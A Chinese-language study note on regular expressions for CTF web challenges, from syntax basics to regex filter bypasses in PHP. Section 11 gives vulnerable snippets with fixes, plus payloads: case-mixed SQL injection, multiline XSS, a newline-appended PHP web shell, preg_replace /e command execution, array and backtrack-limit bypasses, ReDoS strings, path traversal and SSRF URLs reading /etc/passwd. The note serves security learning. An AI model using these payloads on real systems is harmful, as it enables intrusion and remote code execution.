

正则表达式 CTF Web 方向学习笔记

目录

1. 简介
 2. 语法基础
 3. 修饰符 (Flags)
 4. 元字符
 5. 运算符优先级
 6. 匹配规则
 7. 位置匹配
 8. 分组和引用
 9. 选择和分支
 10. 断言 (Lookahead / Lookbehind)
 11.  CTF/网安专题：正则绕过与安全漏洞
-

1. 简介

正则表达式 (Regular Expression, RegEx) 是一种用于描述字符串匹配规则的形式语言。

在 CTF Web 题目中，正则表达式大量出现在：

- 输入过滤/WAF：题目用正则过滤危险字符，选手需要绕过
- 代码审计：分析 PHP/Python/JS 源码中的正则逻辑缺陷
- SSRF / RFI / LFI 防护绕过：正则写法不当导致绕过
- SQL注入过滤绕过：正则未考虑大小写、编码等情况

常见正则引擎：

语言	引擎类型	特性
PHP	PCRE（Perl Compatible）	支持回溯、命名组、断言
Python	re 模块（NFA）	支持命名组、零宽断言
JavaScript	内置（NFA）	ES2018起支持命名组
Java	java.util.regex	支持命名组、Possessive量词
Go	RE2	不支持回溯，无法 ReDos

2. 语法基础

2.1 字符匹配

表达式	说明	示例
<code>abc</code>	匹配字面字符串	<code>abc</code> → 匹配 "abc"
<code>.</code>	匹配任意单个字符（除换行）	<code>a.c</code> → 匹配 "abc","a1c"
<code>[abc]</code>	字符集，匹配其中任一	<code>[aeiou]</code> → 匹配元音
<code>[^abc]</code>	否定字符集(匹配不是某些字符的任意一个字符)	<code>[^0-9]</code> → 匹配非数字
<code>[a-z]</code>	字符范围	<code>[a-zA-Z]</code> → 匹配字母
<code>\d</code>	数字，等价 <code>[0-9]</code>	
<code>\D</code>	非数字	
<code>\w</code>	单词字符 <code>[a-zA-Z0-9_]</code>	
<code>\W</code>	非单词字符	
<code>\s</code>	空白字符（空格、制表、换行）	
<code>\S</code>	非空白字符	

2.2 量词

量词	说明	贪婪
<code>*</code>	0次或多次	是
<code>+</code>	1次或多次	是

量词	说明	贪婪
<code>?</code>	0次或1次	是
<code>{n}</code>	恰好n次	—
<code>{n,}</code>	至少n次	是
<code>{n,m}</code>	n到m次	是
<code>*?</code>	0次或多次	非贪婪
<code>+?</code>	1次或多次	非贪婪
<code>??</code>	0次或1次	非贪婪

贪婪 **vs** 非贪婪：(尽可能多or少地匹配)

字符串：<a>helloworld

贪婪：<.+> → 匹配整个 <a>helloworld

非贪婪：<.+?> → 匹配 <a>, , ,

3. 修饰符（Flags）

修饰符	含义	安全意义
<code>i</code>	忽略大小写	⚠ 过滤时若忘记加，可大小写绕过
<code>g</code>	全局匹配（找所有）	—
<code>m</code>	多行模式， <code>^/\$</code> 匹配每行	⚠ 影响行首行尾锚点语义
<code>s</code>	单行模式， <code>.</code> 匹配包括换行	⚠ 插入换行可能绕过 <code>.</code> 的过滤
<code>x</code>	允许注释和空格（忽略空白）	—
<code>u</code>	Unicode模式	

PHP 写法示例

```
// PHP PCRE 修饰符写在分隔符后
preg_match('/pattern/i', $input);
preg_match('/pattern/im', $input);
preg_match('/pattern/is', $input); // s = DOTALL
```

Python 写法示例

```
import re
re.match(r'pattern', s, re.IGNORECASE)
re.match(r'pattern', s, re.DOTALL)
re.match(r'pattern', s, re.MULTILINE)
re.match(r'pattern', s, re.I | re.S)
```

4. 元字符

4.1 特殊元字符一览

元字符	说明
.	任意字符（不含换行，除非 DOTALL）
^	字符串/行开头
\$	字符串/行结尾
*	0次或多次
+	1次或多次
?	0次或1次
\	转义字符
	或运算
()	分组
[]	字符集
{}	量词范围

4.2 转义

在正则中，特殊字符需要转义才能匹配字面量：

```
\. 匹配字面 "."
\+ 匹配字面 "+"
\( 匹配字面 "("
\\ 匹配字面 "\"
```

5. 运算符优先级

从高到低：

优先级	运算符	说明
1（最高）	<code>\</code>	转义
2	<code>()</code> , <code>(?:)</code> , <code>(?=)</code> 等	分组、断言
3	<code>[]</code>	字符集
4	<code>*</code> , <code>+</code> , <code>?</code> , <code>{n,m}</code>	量词
5	<code>abc</code> （拼接）	序列
6（最低）	<code> </code>	或运算

示例：

```
cat|dog    → (cat)|(dog)    优先级：| 最低
ca(t|d)og  → ca + (t或d) + og
[a-z]+     → [a-z] 的1次或多次
```

6. 匹配规则

6.1 贪婪与非贪婪

引擎默认贪婪，尽可能多匹配；加 `?` 变为非贪婪，尽可能少匹配。

6.2 回溯（Backtracking）

NFA 引擎（PHP PCRE、Python re）在匹配失败时会回退重试，这是 ReDos 攻击的根源。

正则：(a+)+b

输入：aaaaaaaaac （末尾非b，永远匹配不上）

回溯次数：指数级 → 导致 CPU 100%

6.3 占有量词 / 原子组（防止回溯）原子组语法：(?>pattern)

默认正则如果后面匹配失败 会“吐字符”再试 即回溯

(?>a+) 原子组，匹配后不回溯（PHP/Java支持）

a++ 占有量词（possessive），同一段 aaaa... 可以被拆分成无数种方式 为上面原子组的等价写法 只有a+可回溯

占有量词即普通量词后加+ ：贪婪匹配 + 禁止回溯

7. 位置匹配

锚点	说明	注意
<code>^</code>	字符串（或行）开头	多行模式下匹配每行开头
<code>\$</code>	字符串（或行）结尾	多行模式下匹配每行结尾； PHP 中 <code>\$</code> 允许末尾有 <code>\n</code>
<code>\A</code>	字符串绝对开头（不受多行影响）	
<code>\Z</code>	字符串绝对结尾（允许末尾 <code>\n</code> ）	
<code>\z</code>	字符串绝对结尾（严格）	
<code>\b</code>	单词边界	
<code>\B</code>	非单词边界	

⚠️ CTF 重点：PHP 中 \$ 的陷阱

```
// PHP: ^ 和 $ 在默认模式下匹配行首行尾（非字符串首尾）
// 即使没有 m 修饰符，$ 也允许字符串末尾存在 \n

if (preg_match('/^[a-z]+$/', $input)) {
    // 攻击者传入: "abc\n" → 仍然匹配!
    // 因为 $ 在 PHP 中匹配 \n 之前的位置
}

// 安全写法: 使用 \A 和 \z
if (preg_match('/\A[a-z]+\z/', $input)) { ... }
```

8. 分组和引用

8.1 捕获组

(pattern)	捕获并编号（从1开始）
\1, \2	反向引用第1、2个捕获组

示例：

(\w+)\s\1	匹配连续重复单词，如 "hello hello"
-----------	--------------------------

8.2 命名捕获组

(?P<name>pattern)	Python / PHP 命名捕获
(?<name>pattern)	.NET / JS(ES2018) 命名捕获

引用：(?P=name) 或 \k<name>

8.3 非捕获组

(?:pattern) 分组但不捕获，不影响编号

8.4 PHP 中的捕获组使用

```
preg_match('/(\d{4})-(\d{2})-(\d{2})/', '2024-01-15', $matches);  
// $matches[0] = '2024-01-15' (完整匹配)  
// $matches[1] = '2024'  
// $matches[2] = '01'  
// $matches[3] = '15'
```

9. 选择和分支

使用 `|` 实现或匹配，优先级最低：

<code>cat dog bird</code>	匹配 <code>cat</code> 或 <code>dog</code> 或 <code>bird</code>
<code>(jpg png gif)</code>	匹配图片扩展名

注意：分支从左往右尝试，第一个成功的分支获胜（**NFA**引擎）

```
(a|ab)c  
输入: "abc"  
→ 先尝试 a，匹配成功后尝试 c，发现是 b，失败  
→ 回溯，尝试 ab，成功匹配 "abc"
```

10. 断言（Lookahead / Lookbehind）

断言是零宽匹配，只检查位置，不消耗字符。

断言	语法	说明
正向先行断言	<code>(?=pattern)</code>	后面是 <code>pattern</code>
负向先行断言	<code>(?!pattern)</code>	后面不是 <code>pattern</code>

断言	语法	说明
正向后行断言	<code>(?<=pattern)</code>	前面是 pattern
负向后行断言	<code>(?<!pattern)</code>	前面不是 pattern

示例：

<code>\d+(?= dollars)</code>	匹配后面跟着" dollars"的数字，但不包含" dollars"
<code>(?<=\\\$)\d+</code>	匹配前面有"\$"的数字
<code>(?!.*<script>).*</code>	确保内容中不含 <script>

PHP 中后行断言的限制：

PHP PCRE 中，后行断言通常要求固定长度，可变长度后行断言在某些版本中不支持。

11. ● CTF/网安专题：正则绕过与安全漏洞

这是本笔记的核心部分，针对 *CTF Web* 方向

11.1 大小写绕过（缺少 `i` 修饰符）

漏洞代码（**PHP**）：

```
if (preg_match('/select|union|insert|drop/i', $input)) {
    die("forbidden");
}
// 加了 i，这个过滤有效

if (preg_match('/select|union|insert|drop/', $input)) {
    die("forbidden");
    // 没有 i → 可用 SELECT, Union, uNiOn 绕过
}
```

绕过示例：

```
SeLeCt * FrOm users
UNION SELECT null,null--
```

11.2 换行符绕过（. 不匹配 \n / 缺少 s 修饰符）

漏洞代码（PHP）：

```
// 过滤：不允许 <script> 标签
if (preg_match('/<script>.*</script>/i', $input)) {
    die("XSS detected");
}
```

绕过：插入换行让 . 无法跨行匹配

```
<script>
alert(1)
</script>
```

因为 . 默认不匹配 \n，而正则没有 s 修饰符，所以跨行的 <script>...</script> 无法被匹配。

安全写法：

```
preg_match('/<script>[\s\S]*</script>/i', $input)
// 或加 s 修饰符
preg_match('/<script>.*</script>/is', $input)
```

11.3 PHP \$ 锚点绕过（末尾 \n 问题）

漏洞代码：

```
if (!preg_match('/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/', $email)) {
    die("Invalid email");
}

// 看起来很安全，但 $input = "admin@example.com\nSELECT 1"
// PHP 的 $ 允许字符串末尾有 \n，所以可能绕过！
```

攻击 **payload**:

```
admin@example.com\n<?php system($_GET['cmd']); ?>
```

安全写法（使用 `\A` 和 `\z`）：

```
preg_match('/\A[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}\z/',  
$email)
```

11.4 ReDoS（正则拒绝服务）

原理：利用正则引擎的回溯机制，构造使引擎指数级回溯的输入，导致 CPU 100%、服务拒绝。

典型脆弱正则（**nested quantifiers**）：

<code>(a+)+</code>	→ 输入 "aaaaaaaaaab" → 2^n 次回溯
<code>([a-zA-Z]+)*</code>	→ 嵌套量词
<code>(a a?)+</code>	→ 分支歧义

CTF 题目出题方向：

- 题目服务器使用了存在 ReDoS 漏洞的正则
- 发送精心构造的 **payload** 导致超时，触发某种竞争条件

检测工具：

- [vuln-regex-detector](#)
- [safe-regex](#) (Node.js)

构造 **ReDoS payload** 示例：

```
# 针对 (a+)+ 模式  
payload = "a" * 30 + "b"  
# 会导致引擎尝试  $2^{30}$  次组合
```

11.5 preg_replace 代码执行（PHP /e 修饰符）

这是 **CTF** 经典考点！

PHP 5.x 中，`preg_replace` 的第一个参数若带 `/e` 修饰符，第二个参数（replacement）会被当作 **PHP** 代码执行。

漏洞代码：

```
<?php
$input = $_GET['input'];
$pattern = $_GET['pattern'];
echo preg_replace($pattern, 'system("id")', $input);
?>
```

攻击 **payload**:

```
pattern = /.*/e
input = whoami
```

等价于执行：`eval('system("id")')`

另一种场景（**pattern** 固定，**replacement** 可控）：

```
<?php
$str = preg_replace('/.*/e', $_GET['cmd'], 'trigger');
?>

// payload: cmd = system('cat /flag')
```

注意：**PHP 7.0+** 已移除 `/e` 修饰符，但旧版 **CTF** 题目仍常见！

安全写法（**PHP 7+**）：使用 `preg_replace_callback`：

```
$result = preg_replace_callback('/pattern/', function($matches) {
    return htmlspecialchars($matches[0]);
}, $input);
```

11.6 preg_match 绕过（数组绕过）

PHP 特性： `preg_match` 在接收到数组作为参数时，返回 `false` 而非触发过滤！

漏洞代码：

```
<?php
$input = $_GET['input'];
if (preg_match('/[<>\'\";&]/', $input)) {
    die("危险字符!");
}
echo "合法输入: " . $input;
?>
```

绕过：

```
GET /page.php?input[]=<script>alert(1)</script>
```

当 `$input` 是数组时，`preg_match` 返回 `false`，条件不成立，绕过过滤！

安全写法：

```
if (!is_string($input)) die("Invalid");
if (preg_match('/[<>\'\";&]/', $input)) die("危险字符!");
```

11.7 PCRE 回溯限制绕过（PHP）

PHP 的 PCRE 有回溯次数上限（`pcre.backtrack_limit`，默认 100 万次），超出后 `preg_match` 返回 `false` 而非 0。

漏洞代码：

```
<?php
$input = $_POST['data'];
if (preg_match('/^.*(union|select|insert).*$/', $input)) {
    die("SQL Injection Detected!");
}
// 这里没有检查 preg_match 返回值是否为 false!
process($input);
?>
```

攻击：构造超长输入，触发 PCRE 回溯上限

```
import requests

# 超长 payload, 触发回溯溢出
payload = 'a' * 1000000 + 'union select 1,2,3--'
r = requests.post(url, data={'data': payload})
```

`preg_match` 返回 `false`，条件判断 `false == true` 为否，SQL 注入 payload 成功传入！

安全写法：

```
$result = preg_match('/^.*(union|select|insert).*$/', $input);
if ($result === false) die("Regex error!");
if ($result) die("Injection Detected!");
```

11.8 字符编码绕过

URL 编码绕过：

部分正则只过滤明文关键字，未考虑 URL 解码后的内容：

```
%73elect → urldecode → select
se1%65ct → urldecode → select
```

Unicode/宽字节绕过：

`s e l e c t` （全角字符，在某些场景下等价）

HTML 实体绕过（**XSS**场景）：

```
<scr#x69;pt>    → 浏览器解析为 <script>
<img src=x onerr#111;r=alert(1)>
```

11.9 路径穿越正则绕过（LFI/SSRF）

漏洞代码（**PHP** 文件包含）：

```
$file = $_GET['file'];
if (preg_match('/\.\.\/', $file)) {
    die("路径穿越!");
}
include($file);
```

绕过方法：

```
../      → 被过滤
..%2F    → URL编码，某些环境下绕过
..\      → 混合编码
....//   → 双写（过滤一次后残留 ../）
%2e%2e/  → 双重编码
```

双写绕过示例（针对 `str_replace` 而非正则）：

```
..././  → 替换掉中间的 ../ 后变成 ../
```

11.10 SSRF 正则绕过

漏洞代码：

```
$url = $_GET['url'];
if (preg_match('/^https?:\\/\\/www\\.example\\.com/', $url)) {
    file_get_contents($url); // SSRF!
}
```

绕过方法：

```
# 利用 @ 符号
http://www.example.com@192.168.1.1/

# 利用 # 片段
http://www.example.com#.evil.com/../../../../etc/passwd

# 协议混淆
http://www.example.com\\@192.168.1.1/（反斜杠解析差异）
```

只校验开头的正则最危险：攻击者让恶意地址放在 `?` 或 `@` 后面，正则匹配合法域名前缀通过验证。

11.11 常见 CTF 题型总结

题型	核心知识点	常见 PAYLOAD 方向
PHP 代码执行	<code>preg_replace /e</code>	<code>/.*/e</code> 配合代码注入
WAF绕过	缺少 <code>i</code> 修饰符	大小写混写
XSS绕过	缺少 <code>s</code> 修饰符	插入 <code>\n</code> 换行
锚点绕过	PHP <code>\$</code> 允许 <code>\n</code>	<code>payload + \n</code> 额外内容
数组绕过	<code>preg_match</code> 不处理数组	<code>?param[]=value</code>
回溯爆炸	PCRE 回溯上限	超长字符串 + 关键词
路径穿越	<code>../</code> 过滤不全	双重编码、双写
ReDoS	嵌套量词	长串 <code>a...ab</code>

11.12 工具与资源

在线正则测试：

- <https://regex101.com>（支持 PHP/Python/JS/Go，显示回溯步骤）
- <https://regexr.com>

ReDoS 检测：

- <https://devina.io/redos-checker>
- `safe-regex` npm 包

CTF 相关工具：

- Burp Suite（修改参数测试绕过）
- Python `re` 模块（本地调试正则）

学习正则绕过的进一步参考：

- OWASP 正则安全指南
 - PHP 官方文档：PCRE 修饰符
 - CTF Wiki: <https://ctf-wiki.org/web/php/php/>
-

附录：快速参考卡

正则速查（CTF向）		
.	任意字符（默认不含\n）	
^ \$	行首尾（PHP:\$允许末尾\n）	
\A \z	字符串绝对首尾（PHP安全写法）	
[^...]	否定字符集	
*? +? ??	非贪婪量词	
(?:...)	非捕获组	
(?=...)	正向先行断言（零宽）	
(?!...)	负向先行断言（零宽）	

/i	忽略大小写	
/s	.匹配换行（PHP：DOTALL）	
/m	多行模式	
/e	⚠️ PHP已废弃，执行代码！	

CTF 绕过速查		
1. 缺 /i → 大写绕过		
2. 缺 /s → 换行绕过		
3. 用 \$ 不用 \z → 末尾 \n 绕过		
4. preg_match(arr) → 返回 false, 绕过		
5. 超长输入 → PCRE 回溯溢出, 绕过		
6. /e 修饰符 → RCE		

笔记版本: v1.0 | 整理日期: 2026年 | 适用: CTF Web 入门→进阶